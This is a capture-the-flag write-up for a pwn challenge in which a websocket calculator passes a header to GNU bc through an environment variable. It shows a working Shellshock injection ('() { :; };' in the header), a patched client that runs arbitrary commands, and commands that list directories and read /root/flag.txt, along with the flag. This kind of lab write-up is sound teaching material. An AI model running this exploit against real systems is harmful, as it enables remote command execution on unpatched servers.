Calculataser [pwn]

Calculataser

We've spun up an old websocket arbitrary precision calculator from 2014 just bc we can, obviously. We made a client for you. Give it a whirl!

  • Download: client.py

Recon

We're provided the following python code client.py:

#!/usr/bin/env python3
# pip install websocket_client
import websocket

if __name__ == '__main__':
    ws = websocket.WebSocket()
    ws.connect("ws://challenges.tamuctf.com:3012/", header=["BC_LINE_LENGTH: 100"])

    ws.send("1 + 5\n")

    result = ws.recv()
    print("Received '%s'" % str(result.decode("utf-8")))
    ws.close()

Let's give it a test run just for the sake of it:

$ python client.py                                          
Received '6
'

Hm.. Interesting, we've got ourselves a challenge exposed over the web, with some weird header value BC_LINE_LENGTH. Let's figure out what that is, by throwing it at our friendly neighborhood search engine.

Turns out it's an optional environment variable for the GNU bc tool, an arbitrary precision calc.

Web, old, 2014, "taser", environment variables... Wait a sec, is this Shellshock?! For those not in the know, Shellshock is the nickname for a severe bash CVE from around 2014, that allows code execution through the setting of environment variables. It's also a super easy exploit to run, so let's test this.

First, we replace header=["BC_LINE_LENGTH: 100"] with header=["BC_LINE_LENGTH: () { :; }; echo hi"] in the client script.

$ python client.py
Received 'hi
6
'

Lo and behold, Shellshock has struck again!

Solution

Ok, let's patch the client real quick to accept commands as a program argument to speed up the process.

#!/usr/bin/env python3

# pip install websocket_client
import websocket
import sys

if __name__ == '__main__':
    ws = websocket.WebSocket()
    ws.connect("ws://challenges.tamuctf.com:3012/", header=["BC_LINE_LENGTH: () { :; };" + sys.argv[1]])
    #ws.connect("ws://challenges.tamuctf.com:3012/", header=["BC_LINE_LENGTH: 100"])

    ws.send("1 + 5 \n")

    result = ws.recv()
    print("Received '%s'" % str(result.decode("utf-8")))
    ws.close()

So now we just find the flag and print it!

$ python client.py 'ls'
Received ''

Uh, what?

python client.py 'echo $PATH'
Received '
6
'

The $PATH variable seems to be empty. That never stopped anyone before though.

$ python client.py 'echo *'    
Received 'bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
6
'
$ python client.py 'cd root;echo *' 
Received 'flag.txt
6
'
$ python client.py '/bin/cat /root/flag.txt'
Received 'gigem{sh0CKd_by_7h3_ca1culatoR}'

Flag

gigem{sh0CKd_by_7h3_ca1culatoR}